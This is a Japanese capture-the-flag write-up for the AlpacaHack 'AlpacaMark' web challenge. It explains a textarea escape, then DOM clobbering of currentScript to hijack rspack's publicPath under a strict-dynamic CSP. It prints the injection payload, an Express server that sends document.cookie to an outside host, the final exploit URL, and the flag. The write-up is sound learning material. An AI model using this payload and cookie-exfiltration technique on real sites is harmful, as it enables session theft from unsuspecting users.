2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[web] AlpacaMark (AlpacaHack Round 11) writeup

Last updated at Posted at 2025-11-30

  • Source: AlpacaHack Round 11 (web)
  • Author: ark

自由にMarkdownを書けるWebサイト。

ejsが使用されており、nonceとmarkdownを埋め込んでいる。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1.0" />
    <title>AlpacaMark</title>
    <script nonce="<%= nonce %>" src="/main.js" defer></script>
    <link href="/main.css" rel="stylesheet" />
  </head>
  <body>
    <main class="container">
      <h1>AlpacaMark</h1>
      <div id="previewElm"></div>
      <form id="renderElm" action="/" method="get">
        <textarea name="markdown" required><%- markdown %></textarea>
        <button type="submit">Render</button>
      </form>
    </main>
  </body>
</html>

nonceはランダムで、推測困難。

app.get("/", (req, res) => {
  const nonce = crypto.randomBytes(16).toString("base64");
  res.setHeader(
    "Content-Security-Policy",
    `script-src 'strict-dynamic' 'nonce-${nonce}'; default-src 'self'; base-uri 'none'`
  );

  const markdown = req.query.markdown?.slice(0, 512) ?? DEFAULT_MARKDOWN;
  res.render("index", {
    nonce,
    markdown,
  });
});

markdownには制限なく自由に入力可能なため、</textarea>でtextareaから脱出することで任意のHTMLが挿入できる。しかし、scriptタグを挿入してもnonceが無いので実行できない。

ここでCSPを見ると、script-src 'strict-dynamic'という見慣れない記述がある。

ドキュメントを見るに、どうやら既にnonceで信頼が与えられているmain.jsの内部で呼び出されたスクリプトは、連鎖的に信頼できるものと見なして実行が許可されるらしい。

main.jsを見るとこのようなコードがあった。5というスクリプトをサーバーからロードしている。

5: function(e, t, r) {
    r.a(e, async function(e, t) {
        try {
            r(129);
            var n = r(163);
            let e = localStorage.getItem("markdown") ?? await r.e("5").then(r.t.bind(r, 185, 19)).then( ({default: e}) => e(location.search.slice(1)).markdown ?? "");
            if (localStorage.setItem("markdown", e),
            renderElm.addEventListener("submit", () => localStorage.removeItem("markdown")),
            e) {
                let t = document.createElement("article");
                t.innerHTML = n.Qc(e).replaceAll(":alpaca:", "\uD83E\uDD99"),
                previewElm.appendChild(t)
            }
            let s = document.querySelector("textarea[name=markdown]");
            s.rows = s.value.split("\n").length + 1,
            t()
        } catch (e) {
            t(e)
        }
    }, 1)
},

devtoolsのネットワークタブを見ると、確かに5.jsがロードされていた。
さて、この5.jsのホスト部分はpublicPathが参照される。そのpublicPathはどうやってセットされるかというと、これもmain.js内にコードがある。

( () => {
        r.g.importScripts && (e = r.g.location + "");
        var e, t = r.g.document;
        if (!e && t && (t.currentScript && "SCRIPT" === t.currentScript.tagName.toUpperCase() && (e = t.currentScript.src),
        !e)) {
            var n = t.getElementsByTagName("script");
            if (n.length)
                for (var s = n.length - 1; s > -1 && (!e || !/^http(s?):/.test(e)); )
                    e = n[s--].src
        }
        if (!e)
            throw Error("Automatic publicPath is not supported in this browser");
        r.p = e = e.replace(/^blob:/, "").replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/")
    }
    )(),

難読化されているので分かりづらいが、順序としては

  1. t.currentScript.src
  2. t.getElementsByTagName("script")[-1].src

の優先度でセットされる。
つまり、t.currentScriptが存在しない時(IEなど古いブラウザ?)はDOMで一番最後のscriptタグがpublicPathになる。

ここで、main.jsはdefer付きで読み込まれていたことを思い出そう。これはHTMLのパースが完了してからscriptが実行されるということを意味する。任意のHTMLを挿入できるため、t.getElementsByTagName("script")[-1]は自由に操作できる。

admin botは最新のpuppeteerを使用しているが、どうにかしてt.currentScriptが存在しない(厳密には"SCRIPT" === t.currentScript.tagName.toUpperCase()を満たさない)状態を作れないだろうか。
この問題で使われているrspackにはDOM ClobberingによってcurrentScriptを破壊することが可能という脆弱性が報告されていた。

これらを参考に以下のHTML(markdown)を挿入してみる。
imgタグでDOM Clobberingを行った場合、t.currentScript.tagName.toUpperCase()IMGになるため、"SCRIPT" === t.currentScript.tagName.toUpperCase()がfalseになりif文を回避できる。
ここではCSPエラー回避のためscriptタグに"type="text/plain"を指定しており、スクリプトが実行されなくなるが、DOMはちゃんと生成されているので問題ない。

</textarea>
<img name="currentScript">
<script type="text/plain" src="https://attacker.site"></script>

devtoolsのネットワークタブを見ると、https://attacker.site/5.jsのロードを試みており、publicPathの操作に成功していることが分かる。

/5.jsに適当なスクリプトを配置するサーバーを書く。

const express = require('express');

// logger
function accessLogger(req, res, next) {
  const start = Date.now();
  res.on('finish', () => {
    const duration = Date.now() - start;
    console.log(`${req.method} ${req.originalUrl} ${res.statusCode}`);
  });
  next();
}

const app = express();
app.use(accessLogger);

// 5.js
app.get('/5.js', (req, res) => {
  res.send(`location = "https://ctf-server.claustra01.net/flag?" + document.cookie`);
});

const port = process.env.PORT || 50000;
app.listen(port, () => {
  console.log(`Server is running on http://localhost:${port}`);
});

attacker.siteを自分のサーバーに差し替えたURLを報告するとFlagが得られた。

http://alpaca-mark:3000/?markdown=</textarea><img name="currentScript"><script type="text/plain" src="https://ctf-server.claustra01.net"></script>

Alpaca{the_DOM_w0rld_is_po11uted_and_clobber3d}

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?